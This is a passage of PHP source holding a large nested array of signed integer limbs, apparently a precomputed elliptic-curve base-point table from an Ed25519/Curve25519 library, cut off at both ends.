                array(22397382, -7767684, -9293161, -12792868, 17166287, -9755136, -27333065, 6199366, 21880021, -12250760),
            ),
            array(
                array(-4283307, 5368523, -31117018, 8163389, -30323063, 3209128, 16557151, 8890729, 8840445, 4957760),
                array(-15447727, 709327, -6919446, -10870178, -29777922, 6522332, -21720181, 12130072, -14796503, 5005757),
                array(-2114751, -14308128, 23019042, 15765735, -25269683, 6002752, 10183197, -13239326, -16395286, -2176112),
            ),
        ),
        array(
            array(
                array(-19025756, 1632005, 13466291, -7995100, -23640451, 16573537, -32013908, -3057104, 22208662, 2000468),
                array(3065073, -1412761, -25598674, -361432, -17683065, -5703415, -8164212, 11248527, -3691214, -7414184),
                array(10379208, -6045554, 8877319, 1473647, -29291284, -12507580, 16690915, 2553332, -3132688, 16400289),
            ),
            array(
                array(15716668, 1254266, -18472690, 7446274, -8448918, 6344164, -22097271, -7285580, 26894937, 9132066),
                array(24158887, 12938817, 11085297, -8177598, -28063478, -4457083, -30576463, 64452, -6817084, -2692882),
                array(13488534, 7794716, 22236231, 5989356, 25426474, -12578208, 2350710, -3418511, -4688006, 2364226),
            ),
            array(
                array(16335052, 9132434, 25640582, 6678888, 1725628, 8517937, -11807024, -11697457, 15445875, -7798101),
                array(29004207, -7867081, 28661402, -640412, -12794003, -7943086, 31863255, -4135540, -278050, -15759279),
                array(-6122061, -14866665, -28614905, 14569919, -10857999, -3591829, 10343412, -6976290, -29828287, -10815811),
            ),
            array(
                array(27081650, 3463984, 14099042, -4517604, 1616303, -6205604, 29542636, 15372179, 17293797, 960709),
                array(20263915, 11434237, -5765435, 11236810, 13505955, -10857102, -16111345, 6493122, -19384511, 7639714),
                array(-2830798, -14839232, 25403038, -8215196, -8317012, -16173699, 18006287, -16043750, 29994677, -15808121),
            ),
            array(
                array(9769828, 5202651, -24157398, -13631392, -28051003, -11561624, -24613141, -13860782, -31184575, 709464),
                array(12286395, 13076066, -21775189, -1176622, -25003198, 4057652, -32018128, -8890874, 16102007, 13205847),
                array(13733362, 5599946, 10557076, 3195751, -5557991, 8536970, -25540170, 8525972, 10151379, 10394400),
            ),
            array(
                array(4024660, -16137551, 22436262, 12276534, -9099015, -2686099, 19698229, 11743039, -33302334, 8934414),
                array(-15879800, -4525240, -8580747, -2934061, 14634845, -698278, -9449077, 3137094, -11536886, 11721158),
                array(17555939, -5013938, 8268606, 2331751, -22738815, 9761013, 9319229, 8835153, -9205489, -1280045),
            ),
            array(
                array(-461409, -7830014, 20614118, 16688288, -7514766, -4807119, 22300304, 505429, 6108462, -6183415),
                array(-5070281, 12367917, -30663534, 3234473, 32617080, -8422642, 29880583, -13483331, -26898490, -7867459),
                array(-31975283, 5726539, 26934134, 10237677, -3173717, -605053, 24199304, 3795095, 7592688, -14992079),
            ),
            array(
                array(21594432, -14964228, 17466408, -4077222, 32537084, 2739898, 6407723, 12018833, -28256052, 4298412),
                array(-20650503, -11961496, -27236275, 570498, 3767144, -1717540, 13891942, -1569194, 13717174, 10805743),
                array(-14676630, -15644296, 15287174, 11927123, 24177847, -8175568, -796431, 14860609, -26938930, -5863836),
            ),
        ),
        array(
            array(
                array(12962541, 5311799, -10060768, 11658280, 18855286, -7954201, 13286263, -12808704, -4381056, 9882022),
                array(18512079, 11319350, -20123124, 15090309, 18818594, 5271736, -22727904, 3666879, -23967430, -3299429),
                array(-6789020, -3146043, 16192429, 13241070, 15898607, -14206114, -10084880, -6661110, -2403099, 5276065),
            ),
            array(
                array(30169808, -5317648, 26306206, -11750859, 27814964, 7069267, 7152851, 3684982, 1449224, 13082861),
                array(10342826, 3098505, 2119311, 193222, 25702612, 12233820, 23697382, 15056736, -21016438, -8202000),
                array(-33150110, 3261608, 22745853, 7948688, 19370557, -15177665, -26171976, 6482814, -10300080, -11060101),
            ),
            array(
                array(32869458, -5408545, 25609743, 15678670, -10687769, -15471071, 26112421, 2521008, -22664288, 6904815),
                array(29506923, 4457497, 3377935, -9796444, -30510046, 12935080, 1561737, 3841096, -29003639, -6657642),
                array(10340844, -6630377, -18656632, -2278430, 12621151, -13339055, 30878497, -11824370, -25584551, 5181966),
            ),
            array(
                array(25940115, -12658025, 17324188, -10307374, -8671468, 15029094, 24396252, -16450922, -2322852, -12388574),
                array(-21765684, 9916823, -1300409, 4079498, -1028346, 11909559, 1782390, 12641087, 20603771, -6561742),
                array(-18882287, -11673380, 24849422, 11501709, 13161720, -4768874, 1925523, 11914390, 4662781, 7820689),
            ),
            array(
                array(12241050, -425982, 8132691, 9393934, 32846760, -1599620, 29749456, 12172924, 16136752, 15264020),
                array(-10349955, -14680563, -8211979, 2330220, -17662549, -14545780, 10658213, 6671822, 19012087, 3772772),
                array(3753511, -3421066, 10617074, 2028709, 14841030, -6721664, 28718732, -15762884, 20527771, 12988982),
            ),
            array(
                array(-14822485, -5797269, -3707987, 12689773, -898983, -10914866, -24183046, -10564943, 3299665, -12424953),
                array(-16777703, -15253301, -9642417, 4978983, 3308785, 8755439, 6943197, 6461331, -25583147, 8991218),
                array(-17226263, 1816362, -1673288, -6086439, 31783888, -8175991, -32948145, 7417950, -30242287, 1507265),
            ),
            array(
                array(29692663, 6829891, -10498800, 4334896, 20945975, -11906496, -28887608, 8209391, 14606362, -10647073),
                array(-3481570, 8707081, 32188102, 5672294, 22096700, 1711240, -33020695, 9761487, 4170404, -2085325),
                array(-11587470, 14855945, -4127778, -1531857, -26649089, 15084046, 22186522, 16002000, -14276837, -8400798),
            ),
            array(
                array(-4811456, 13761029, -31703877, -2483919, -3312471, 7869047, -7113572, -9620092, 13240845, 10965870),
                array(-7742563, -8256762, -14768334, -13656260, -23232383, 12387166, 4498947, 14147411, 29514390, 4302863),
                array(-13413405, -12407859, 20757302, -13801832, 14785143, 8976368, -5061276, -2144373, 17846988, -13971927),
            ),
        ),
        array(
            array(
                array(-2244452, -754728, -4597030, -1066309, -6247172, 1455299, -21647728, -9214789, -5222701, 12650267),
                array(-9906797, -16070310, 21134160, 12198166, -27064575, 708126, 387813, 13770293, -19134326, 10958663),
                array(22470984, 12369526, 23446014, -5441109, -21520802, -9698723, -11772496, -11574455, -25083830, 4271862),
            ),
            array(
                array(-25169565, -10053642, -19909332, 15361595, -5984358, 2159192, 75375, -4278529, -32526221, 8469673),
                array(15854970, 4148314, -8893890, 7259002, 11666551, 13824734, -30531198, 2697372, 24154791, -9460943),
                array(15446137, -15806644, 29759747, 14019369, 30811221, -9610191, -31582008, 12840104, 24913809, 9815020),
            ),
            array(
                array(-4709286, -5614269, -31841498, -12288893, -14443537, 10799414, -9103676, 13438769, 18735128, 9466238),
                array(11933045, 9281483, 5081055, -5183824, -2628162, -4905629, -7727821, -10896103, -22728655, 16199064),
                array(14576810, 379472, -26786533, -8317236, -29426508, -10812974, -102766, 1876699, 30801119, 2164795),
            ),
            array(
                array(15995086, 3199873, 13672555, 13712240, -19378835, -4647646, -13081610, -15496269, -13492807, 1268052),
                array(-10290614, -3659039, -3286592, 10948818, 23037027, 3794475, -3470338, -12600221, -17055369, 3565904),
                array(29210088, -9419337, -5919792, -4952785, 10834811, -13327726, -16512102, -10820713, -27162222, -14030531),
            ),
            array(
                array(-13161890, 15508588, 16663704, -8156150, -28349942, 9019123, -29183421, -3769423, 2244111, -14001979),
                array(-5152875, -3800936, -9306475, -6071583, 16243069, 14684434, -25673088, -16180800, 13491506, 4641841),
                array(10813417, 643330, -19188515, -728916, 30292062, -16600078, 27548447, -7721242, 14476989, -12767431),
            ),
            array(
                array(10292079, 9984945, 6481436, 8279905, -7251514, 7032743, 27282937, -1644259, -27912810, 12651324),
                array(-31185513, -813383, 22271204, 11835308, 10201545, 15351028, 17099662, 3988035, 21721536, -3148940),
                array(10202177, -6545839, -31373232, -9574638, -32150642, -8119683, -12906320, 3852694, 13216206, 14842320),
            ),
            array(
                array(-15815640, -10601066, -6538952, -7258995, -6984659, -6581778, -31500847, 13765824, -27434397, 9900184),
                array(14465505, -13833331, -32133984, -14738873, -27443187, 12990492, 33046193, 15796406, -7051866, -8040114),
                array(30924417, -8279620, 6359016, -12816335, 16508377, 9071735, -25488601, 15413635, 9524356, -7018878),
            ),
            array(
                array(12274201, -13175547, 32627641, -1785326, 6736625, 13267305, 5237659, -5109483, 15663516, 4035784),
                array(-2951309, 8903985, 17349946, 601635, -16432815, -4612556, -13732739, -15889334, -22258478, 4659091),
                array(-16916263, -4952973, -30393711, -15158821, 20774812, 15897498, 5736189, 15026997, -2178256, -13455585),
            ),
        ),
        array(
            array(
                array(-8858980, -2219056, 28571666, -10155518, -474467, -10105698, -3801496, 278095, 23440562, -290208),
                array(10226241, -5928702, 15139956, 120818, -14867693, 5218603, 32937275, 11551483, -16571960, -7442864),
                array(17932739, -12437276, -24039557, 10749060, 11316803, 7535897, 22503767, 5561594, -3646624, 3898661),
            ),
            array(
                array(7749907, -969567, -16339731, -16464, -25018111, 15122143, -1573531, 7152530, 21831162, 1245233),
                array(26958459, -14658026, 4314586, 8346991, -5677764, 11960072, -32589295, -620035, -30402091, -16716212),
                array(-12165896, 9166947, 33491384, 13673479, 29787085, 13096535, 6280834, 14587357, -22338025, 13987525),
            ),
            array(
                array(-24349909, 7778775, 21116000, 15572597, -4833266, -5357778, -4300898, -5124639, -7469781, -2858068),
                array(9681908, -6737123, -31951644, 13591838, -6883821, 386950, 31622781, 6439245, -14581012, 4091397),
                array(-8426427, 1470727, -28109679, -1596990, 3978627, -5123623, -19622683, 12092163, 29077877, -14741988),
            ),
            array(
                array(5269168, -6859726, -13230211, -8020715, 25932563, 1763552, -5606110, -5505881, -20017847, 2357889),
                array(32264008, -15407652, -5387735, -1160093, -2091322, -3946900, 23104804, -12869908, 5727338, 189038),
                array(14609123, -8954470, -6000566, -16622781, -14577387, -7743898, -26745169, 10942115, -25888931, -14884697),
            ),
            array(
                array(20513500, 5557931, -15604613, 7829531, 26413943, -2019404, -21378968, 7471781, 13913677, -5137875),
                array(-25574376, 11967826, 29233242, 12948236, -6754465, 4713227, -8940970, 14059180, 12878652, 8511905),
                array(-25656801, 3393631, -2955415, -7075526, -2250709, 9366908, -30223418, 6812974, 5568676, -3127656),
            ),
            array(
                array(11630004, 12144454, 2116339, 13606037, 27378885, 15676917, -17408753, -13504373, -14395196, 8070818),
                array(27117696, -10007378, -31282771, -5570088, 1127282, 12772488, -29845906, 10483306, -11552749, -1028714),
                array(10637467, -5688064, 5674781, 1072708, -26343588, -6982302, -1683975, 9177853, -27493162, 15431203),
            ),
            array(
                array(20525145, 10892566, -12742472, 12779443, -29493034, 16150075, -28240519, 14943142, -15056790, -7935931),
                array(-30024462, 5626926, -551567, -9981087, 753598, 11981191, 25244767, -3239766, -3356550, 9594024),
                array(-23752644, 2636870, -5163910, -10103818, 585134, 7877383, 11345683, -6492290, 13352335, -10977084),
            ),
            array(
                array(-1931799, -5407458, 3304649, -12884869, 17015806, -4877091, -29783850, -7752482, -13215537, -319204),
                array(20239939, 6607058, 6203985, 3483793, -18386976, -779229, -20723742, 15077870, -22750759, 14523817),
                array(27406042, -6041657, 27423596, -4497394, 4996214, 10002360, -28842031, -4545494, -30172742, -4805667),
            ),
        ),
        array(
            array(
                array(11374242, 12660715, 17861383, -12540833, 10935568, 1099227, -13886076, -9091740, -27727044, 11358504),
                array(-12730809, 10311867, 1510375, 10778093, -2119455, -9145702, 32676003, 11149336, -26123651, 4985768),
                array(-19096303, 341147, -6197485, -239033, 15756973, -8796662, -983043, 13794114, -19414307, -15621255),
            ),
            array(
                array(6490081, 11940286, 25495923, -7726360, 8668373, -8751316, 3367603, 6970005, -1691065, -9004790),
                array(1656497, 13457317, 15370807, 6364910, 13605745, 8362338, -19174622, -5475723, -16796596, -5031438),
                array(-22273315, -13524424, -64685, -4334223, -18605636, -10921968, -20571065, -7007978, -99853, -10237333),
            ),
            array(
                array(17747465, 10039260, 19368299, -4050591, -20630635, -16041286, 31992683, -15857976, -29260363, -5511971),
                array(31932027, -4986141, -19612382, 16366580, 22023614, 88450, 11371999, -3744247, 4882242, -10626905),
                array(29796507, 37186, 19818052, 10115756, -11829032, 3352736, 18551198, 3272828, -5190932, -4162409),
            ),
            array(
                array(12501286, 4044383, -8612957, -13392385, -32430052, 5136599, -19230378, -3529697, 330070, -3659409),
                array(6384877, 2899513, 17807477, 7663917, -2358888, 12363165, 25366522, -8573892, -271295, 12071499),
                array(-8365515, -4042521, 25133448, -4517355, -6211027, 2265927, -32769618, 1936675, -5159697, 3829363),
            ),
            array(
                array(28425966, -5835433, -577090, -4697198, -14217555, 6870930, 7921550, -6567787, 26333140, 14267664),
                array(-11067219, 11871231, 27385719, -10559544, -4585914, -11189312, 10004786, -8709488, -21761224, 8930324),
                array(-21197785, -16396035, 25654216, -1725397, 12282012, 11008919, 1541940, 4757911, -26491501, -16408940),
            ),
            array(
                array(13537262, -7759490, -20604840, 10961927, -5922820, -13218065, -13156584, 6217254, -15943699, 13814990),
                array(-17422573, 15157790, 18705543, 29619, 24409717, -260476, 27361681, 9257833, -1956526, -1776914),
                array(-25045300, -10191966, 15366585, 15166509, -13105086, 8423556, -29171540, 12361135, -18685978, 4578290),
            ),
            array(
                array(24579768, 3711570, 1342322, -11180126, -27005135, 14124956, -22544529, 14074919, 21964432, 8235257),
                array(-6528613, -2411497, 9442966, -5925588, 12025640, -1487420, -2981514, -1669206, 13006806, 2355433),
                array(-16304899, -13605259, -6632427, -5142349, 16974359, -10911083, 27202044, 1719366, 1141648, -12796236),
            ),
            array(
                array(-12863944, -13219986, -8318266, -11018091, -6810145, -4843894, 13475066, -3133972, 32674895, 13715045),
                array(11423335, -5468059, 32344216, 8962751, 24989809, 9241752, -13265253, 16086212, -28740881, -15642093),
                array(-1409668, 12530728, -6368726, 10847387, 19531186, -14132160, -11709148, 7791794, -27245943, 4383347),
            ),
        ),
        array(
            array(
                array(-28970898, 5271447, -1266009, -9736989, -12455236, 16732599, -4862407, -4906449, 27193557, 6245191),
                array(-15193956, 5362278, -1783893, 2695834, 4960227, 12840725, 23061898, 3260492, 22510453, 8577507),
                array(-12632451, 11257346, -32692994, 13548177, -721004, 10879011, 31168030, 13952092, -29571492, -3635906),
            ),
            array(
                array(3877321, -9572739, 32416692, 5405324, -11004407, -13656635, 3759769, 11935320, 5611860, 8164018),
                array(-16275802, 14667797, 15906460, 12155291, -22111149, -9039718, 32003002, -8832289, 5773085, -8422109),
                array(-23788118, -8254300, 1950875, 8937633, 18686727, 16459170, -905725, 12376320, 31632953, 190926),
            ),
            array(
                array(-24593607, -16138885, -8423991, 13378746, 14162407, 6901328, -8288749, 4508564, -25341555, -3627528),
                array(8884438, -5884009, 6023974, 10104341, -6881569, -4941533, 18722941, -14786005, -1672488, 827625),
                array(-32720583, -16289296, -32503547, 7101210, 13354605, 2659080, -1800575, -14108036, -24878478, 1541286),
            ),
            array(
                array(2901347, -1117687, 3880376, -10059388, -17620940, -3612781, -21802117, -3567481, 20456845, -1885033),
                array(27019610, 12299467, -13658288, -1603234, -12861660, -4861471, -19540150, -5016058, 29439641, 15138866),
                array(21536104, -6626420, -32447818, -10690208, -22408077, 5175814, -5420040, -16361163, 7779328, 109896),
            ),
            array(
                array(30279744, 14648750, -8044871, 6425558, 13639621, -743509, 28698390, 12180118, 23177719, -554075),
                array(26572847, 3405927, -31701700, 12890905, -19265668, 5335866, -6493768, 2378492, 4439158, -13279347),
                array(-22716706, 3489070, -9225266, -332753, 18875722, -1140095, 14819434, -12731527, -17717757, -5461437),
            ),
            array(
                array(-5056483, 16566551, 15953661, 3767752, -10436499, 15627060, -820954, 2177225, 8550082, -15114165),
                array(-18473302, 16596775, -381660, 15663611, 22860960, 15585581, -27844109, -3582739, -23260460, -8428588),
                array(-32480551, 15707275, -8205912, -5652081, 29464558, 2713815, -22725137, 15860482, -21902570, 1494193),
            ),
            array(
                array(-19562091, -14087393, -25583872, -9299552, 13127842, 759709, 21923482, 16529112, 8742704, 12967017),
                array(-28464899, 1553205, 32536856, -10473729, -24691605, -406174, -8914625, -2933896, -29903758, 15553883),
                array(21877909, 3230008, 9881174, 10539357, -4797115, 2841332, 11543572, 14513274, 19375923, -12647961),
            ),
            array(
                array(8832269, -14495485, 13253511, 5137575, 5037871, 4078777, 24880818, -6222716, 2862653, 9455043),
                array(29306751, 5123106, 20245049, -14149889, 9592566, 8447059, -2077124, -2990080, 15511449, 4789663),
                array(-20679756, 7004547, 8824831, -9434977, -4045704, -3750736, -5754762, 108893, 23513200, 16652362),
            ),
        ),
        array(
            array(
                array(-33256173, 4144782, -4476029, -6579123, 10770039, -7155542, -6650416, -12936300, -18319198, 10212860),
                array(2756081, 8598110, 7383731, -6859892, 22312759, -1105012, 21179801, 2600940, -9988298, -12506466),
                array(-24645692, 13317462, -30449259, -15653928, 21365574, -10869657, 11344424, 864440, -2499677, -16710063),
            ),
            array(
                array(-26432803, 6148329, -17184412, -14474154, 18782929, -275997, -22561534, 211300, 2719757, 4940997),
                array(-1323882, 3911313, -6948744, 14759765, -30027150, 7851207, 21690126, 8518463, 26699843, 5276295),
                array(-13149873, -6429067, 9396249, 365013, 24703301, -10488939, 1321586, 149635, -15452774, 7159369),
            ),
            array(
                array(9987780, -3404759, 17507962, 9505530, 9731535, -2165514, 22356009, 8312176, 22477218, -8403385),
                array(18155857, -16504990, 19744716, 9006923, 15154154, -10538976, 24256460, -4864995, -22548173, 9334109),
                array(2986088, -4911893, 10776628, -3473844, 10620590, -7083203, -21413845, 14253545, -22587149, 536906),
            ),
            array(
                array(4377756, 8115836, 24567078, 15495314, 11625074, 13064599, 7390551, 10589625, 10838060, -15420424),
                array(-19342404, 867880, 9277171, -3218459, -14431572, -1986443, 19295826, -15796950, 6378260, 699185),
                array(7895026, 4057113, -7081772, -13077756, -17886831, -323126, -716039, 15693155, -5045064, -13373962),
            ),
            array(
                array(-7737563, -5869402, -14566319, -7406919, 11385654, 13201616, 31730678, -10962840, -3918636, -9669325),
                array(10188286, -15770834, -7336361, 13427543, 22223443, 14896287, 30743455, 7116568, -21786507, 5427593),
                array(696102, 13206899, 27047647, -10632082, 15285305, -9853179, 10798490, -4578720, 19236243, 12477404),
            ),
            array(
                array(-11229439, 11243796, -17054270, -8040865, -788228, -8167967, -3897669, 11180504, -23169516, 7733644),
                array(17800790, -14036179, -27000429, -11766671, 23887827, 3149671, 23466177, -10538171, 10322027, 15313801),
                array(26246234, 11968874, 32263343, -5468728, 6830755, -13323031, -15794704, -101982, -24449242, 10890804),
            ),
            array(
                array(-31365647, 10271363, -12660625, -6267268, 16690207, -13062544, -14982212, 16484931, 25180797, -5334884),
                array(-586574, 10376444, -32586414, -11286356, 19801893, 10997610, 2276632, 9482883, 316878, 13820577),
                array(-9882808, -4510367, -2115506, 16457136, -11100081, 11674996, 30756178, -7515054, 30696930, -3712849),
            ),
            array(
                array(32988917, -9603412, 12499366, 7910787, -10617257, -11931514, -7342816, -9985397, -32349517, 7392473),
                array(-8855661, 15927861, 9866406, -3649411, -2396914, -16655781, -30409476, -9134995, 25112947, -2926644),
                array(-2504044, -436966, 25621774, -5678772, 15085042, -5479877, -24884878, -13526194, 5537438, -13914319),
            ),
        ),
        array(
            array(
                array(-11225584, 2320285, -9584280, 10149187, -33444663, 5808648, -14876251, -1729667, 31234590, 6090599),
                array(-9633316, 116426, 26083934, 2897444, -6364437, -2688086, 609721, 15878753, -6970405, -9034768),
                array(-27757857, 247744, -15194774, -9002551, 23288161, -10011936, -23869595, 6503646, 20650474, 1804084),
            ),
            array(
                array(-27589786, 15456424, 8972517, 8469608, 15640622, 4439847, 3121995, -10329713, 27842616, -202328),
                array(-15306973, 2839644, 22530074, 10026331, 4602058, 5048462, 28248656, 5031932, -11375082, 12714369),
                array(20807691, -7270825, 29286141, 11421711, -27876523, -13868230, -21227475, 1035546, -19733229, 12796920),
            ),
            array(
                array(12076899, -14301286, -8785001, -11848922, -25012791, 16400684, -17591495, -12899438, 3480665, -15182815),
                array(-32361549, 5457597, 28548107, 7833186, 7303070, -11953545, -24363064, -15921875, -33374054, 2771025),
                array(-21389266, 421932, 26597266, 6860826, 22486084, -6737172, -17137485, -4210226, -24552282, 15673397),
            ),
            array(
                array(-20184622, 2338216, 19788685, -9620956, -4001265, -8740893, -20271184, 4733254, 3727144, -12934448),
                array(6120119, 814863, -11794402, -622716, 6812205, -15747771, 2019594, 7975683, 31123697, -10958981),
                array(30069250, -11435332, 30434654, 2958439, 18399564, -976289, 12296869, 9204260, -16432438, 9648165),
            ),
            array(
                array(32705432, -1550977, 30705658, 7451065, -11805606, 9631813, 3305266, 5248604, -26008332, -11377501),
                array(17219865, 2375039, -31570947, -5575615, -19459679, 9219903, 294711, 15298639, 2662509, -16297073),
                array(-1172927, -7558695, -4366770, -4287744, -21346413, -8434326, 32087529, -1222777, 32247248, -14389861),
            ),
            array(
                array(14312628, 1221556, 17395390, -8700143, -4945741, -8684635, -28197744, -9637817, -16027623, -13378845),
                array(-1428825, -9678990, -9235681, 6549687, -7383069, -468664, 23046502, 9803137, 17597934, 2346211),
                array(18510800, 15337574, 26171504, 981392, -22241552, 7827556, -23491134, -11323352, 3059833, -11782870),
            ),
            array(
                array(10141598, 6082907, 17829293, -1947643, 9830092, 13613136, -25556636, -5544586, -33502212, 3592096),
                array(33114168, -15889352, -26525686, -13343397, 33076705, 8716171, 1151462, 1521897, -982665, -6837803),
                array(-32939165, -4255815, 23947181, -324178, -33072974, -12305637, -16637686, 3891704, 26353178, 693168),
            ),
            array(
                array(30374239, 1595580, -16884039, 13186931, 4600344, 406904, 9585294, -400668, 31375464, 14369965),
                array(-14370654, -7772529, 1510301, 6434173, -18784789, -6262728, 32732230, -13108839, 17901441, 16011505),
                array(18171223, -11934626, -12500402, 15197122, -11038147, -15230035, -19172240, -16046376, 8764035, 12309598),
            ),
        ),
        array(
            array(
                array(5975908, -5243188, -19459362, -9681747, -11541277, 14015782, -23665757, 1228319, 17544096, -10593782),
                array(5811932, -1715293, 3442887, -2269310, -18367348, -8359541, -18044043, -15410127, -5565381, 12348900),
                array(-31399660, 11407555, 25755363, 6891399, -3256938, 14872274, -24849353, 8141295, -10632534, -585479),
            ),
            array(
                array(-12675304, 694026, -5076145, 13300344, 14015258, -14451394, -9698672, -11329050, 30944593, 1130208),
                array(8247766, -6710942, -26562381, -7709309, -14401939, -14648910, 4652152, 2488540, 23550156, -271232),
                array(17294316, -3788438, 7026748, 15626851, 22990044, 113481, 2267737, -5908146, -408818, -137719),
            ),
            array(
                array(16091085, -16253926, 18599252, 7340678, 2137637, -1221657, -3364161, 14550936, 3260525, -7166271),
                array(-4910104, -13332887, 18550887, 10864893, -16459325, -7291596, -23028869, -13204905, -12748722, 2701326),
                array(-8574695, 16099415, 4629974, -16340524, -20786213, -6005432, -10018363, 9276971, 11329923, 1862132),
            ),
            array(
                array(14763076, -15903608, -30918270, 3689867, 3511892, 10313526, -21951088, 12219231, -9037963, -940300),
                array(8894987, -3446094, 6150753, 3013931, 301220, 15693451, -31981216, -2909717, -15438168, 11595570),
                array(15214962, 3537601, -26238722, -14058872, 4418657, -15230761, 13947276, 10730794, -13489462, -4363670),
            ),
            array(
                array(-2538306, 7682793, 32759013, 263109, -29984731, -7955452, -22332124, -10188635, 977108, 699994),
                array(-12466472, 4195084, -9211532, 550904, -15565337, 12917920, 19118110, -439841, -30534533, -14337913),
                array(31788461, -14507657, 4799989, 7372237, 8808585, -14747943, 9408237, -10051775, 12493932, -5409317),
            ),
            array(
                array(-25680606, 5260744, -19235809, -6284470, -3695942, 16566087, 27218280, 2607121, 29375955, 6024730),
                array(842132, -2794693, -4763381, -8722815, 26332018, -12405641, 11831880, 6985184, -9940361, 2854096),
                array(-4847262, -7969331, 2516242, -5847713, 9695691, -7221186, 16512645, 960770, 12121869, 16648078),
            ),
            array(
                array(-15218652, 14667096, -13336229, 2013717, 30598287, -464137, -31504922, -7882064, 20237806, 2838411),
                array(-19288047, 4453152, 15298546, -16178388, 22115043, -15972604, 12544294, -13470457, 1068881, -12499905),
                array(-9558883, -16518835, 33238498, 13506958, 30505848, -1114596, -8486907, -2630053, 12521378, 4845654),
            ),
            array(
                array(-28198521, 10744108, -2958380, 10199664, 7759311, -13088600, 3409348, -873400, -6482306, -12885870),
                array(-23561822, 6230156, -20382013, 10655314, -24040585, -11621172, 10477734, -1240216, -3113227, 13974498),
                array(12966261, 15550616, -32038948, -1615346, 21025980, -629444, 5642325, 7188737, 18895762, 12629579),
            ),
        ),
        array(
            array(
                array(14741879, -14946887, 22177208, -11721237, 1279741, 8058600, 11758140, 789443, 32195181, 3895677),
                array(10758205, 15755439, -4509950, 9243698, -4879422, 6879879, -2204575, -3566119, -8982069, 4429647),
                array(-2453894, 15725973, -20436342, -10410672, -5803908, -11040220, -7135870, -11642895, 18047436, -15281743),
            ),
            array(
                array(-25173001, -11307165, 29759956, 11776784, -22262383, -15820455, 10993114, -12850837, -17620701, -9408468),
                array(21987233, 700364, -24505048, 14972008, -7774265, -5718395, 32155026, 2581431, -29958985, 8773375),
                array(-25568350, 454463, -13211935, 16126715, 25240068, 8594567, 20656846, 12017935, -7874389, -13920155),
            ),
            array(
                array(6028182, 6263078, -31011806, -11301710, -818919, 2461772, -31841174, -5468042, -1721788, -2776725),
                array(-12278994, 16624277, 987579, -5922598, 32908203, 1248608, 7719845, -4166698, 28408820, 6816612),
                array(-10358094, -8237829, 19549651, -12169222, 22082623, 16147817, 20613181, 13982702, -10339570, 5067943),
            ),
            array(
                array(-30505967, -3821767, 12074681, 13582412, -19877972, 2443951, -19719286, 12746132, 5331210, -10105944),
                array(30528811, 3601899, -1957090, 4619785, -27361822, -15436388, 24180793, -12570394, 27679908, -1648928),
                array(9402404, -13957065, 32834043, 10838634, -26580150, -13237195, 26653274, -8685565, 22611444, -12715406),
            ),
            array(
                array(22190590, 1118029, 22736441, 15130463, -30460692, -5991321, 19189625, -4648942, 4854859, 6622139),
                array(-8310738, -2953450, -8262579, -3388049, -10401731, -271929, 13424426, -3567227, 26404409, 13001963),
                array(-31241838, -15415700, -2994250, 8939346, 11562230, -12840670, -26064365, -11621720, -15405155, 11020693),
            ),
            array(
                array(1866042, -7949489, -7898649, -10301010, 12483315, 13477547, 3175636, -12424163, 28761762, 1406734),
                array(-448555, -1777666, 13018551, 3194501, -9580420, -11161737, 24760585, -4347088, 25577411, -13378680),
                array(-24290378, 4759345, -690653, -1852816, 2066747, 10693769, -29595790, 9884936, -9368926, 4745410),
            ),
            array(
                array(-9141284, 6049714, -19531061, -4341411, -31260798, 9944276, -15462008, -11311852, 10931924, -11931931),
                array(-16561513, 14112680, -8012645, 4817318, -8040464, -11414606, -22853429, 10856641, -20470770, 13434654),
                array(22759489, -10073434, -16766264, -1871422, 13637442, -10168091, 1765144, -12654326, 28445307, -5364710),
            ),
            array(
                array(29875063, 12493613, 2795536, -3786330, 1710620, 15181182, -10195717, -8788675, 9074234, 1167180),
                array(-26205683, 11014233, -9842651, -2635485, -26908120, 7532294, -18716888, -9535498, 3843903, 9367684),
                array(-10969595, -6403711, 9591134, 9582310, 11349256, 108879, 16235123, 8601684, -139197, 4242895),
            ),
        ),
        array(
            array(
                array(22092954, -13191123, -2042793, -11968512, 32186753, -11517388, -6574341, 2470660, -27417366, 16625501),
                array(-11057722, 3042016, 13770083, -9257922, 584236, -544855, -7770857, 2602725, -27351616, 14247413),
                array(6314175, -10264892, -32772502, 15957557, -10157730, 168750, -8618807, 14290061, 27108877, -1180880),
            ),
            array(
                array(-8586597, -7170966, 13241782, 10960156, -32991015, -13794596, 33547976, -11058889, -27148451, 981874),
                array(22833440, 9293594, -32649448, -13618667, -9136966, 14756819, -22928859, -13970780, -10479804, -16197962),
                array(-7768587, 3326786, -28111797, 10783824, 19178761, 14905060, 22680049, 13906969, -15933690, 3797899),
            ),
            array(
                array(21721356, -4212746, -12206123, 9310182, -3882239, -13653110, 23740224, -2709232, 20491983, -8042152),
                array(9209270, -15135055, -13256557, -6167798, -731016, 15289673, 25947805, 15286587, 30997318, -6703063),
                array(7392032, 16618386, 23946583, -8039892, -13265164, -1533858, -14197445, -2321576, 17649998, -250080),
            ),
            array(
                array(-9301088, -14193827, 30609526, -3049543, -25175069, -1283752, -15241566, -9525724, -2233253, 7662146),
                array(-17558673, 1763594, -33114336, 15908610, -30040870, -12174295, 7335080, -8472199, -3174674, 3440183),
                array(-19889700, -5977008, -24111293, -9688870, 10799743, -16571957, 40450, -4431835, 4862400, 1133),
            ),
            array(
                array(-32856209, -7873957, -5422389, 14860950, -16319031, 7956142, 7258061, 311861, -30594991, -7379421),
                array(-3773428, -1565936, 28985340, 7499440, 24445838, 9325937, 29727763, 16527196, 18278453, 15405622),
                array(-4381906, 8508652, -19898366, -3674424, -5984453, 15149970, -13313598, 843523, -21875062, 13626197),
            ),
            array(
                array(2281448, -13487055, -10915418, -2609910, 1879358, 16164207, -10783882, 3953792, 13340839, 15928663),
                array(31727126, -7179855, -18437503, -8283652, 2875793, -16390330, -25269894, -7014826, -23452306, 5964753),
                array(4100420, -5959452, -17179337, 6017714, -18705837, 12227141, -26684835, 11344144, 2538215, -7570755),
            ),
            array(
                array(-9433605, 6123113, 11159803, -2156608, 30016280, 14966241, -20474983, 1485421, -629256, -15958862),
                array(-26804558, 4260919, 11851389, 9658551, -32017107, 16367492, -20205425, -13191288, 11659922, -11115118),
                array(26180396, 10015009, -30844224, -8581293, 5418197, 9480663, 2231568, -10170080, 33100372, -1306171),
            ),
            array(
                array(15121113, -5201871, -10389905, 15427821, -27509937, -15992507, 21670947, 4486675, -5931810, -14466380),
                array(16166486, -9483733, -11104130, 6023908, -31926798, -1364923, 2340060, -16254968, -10735770, -10039824),
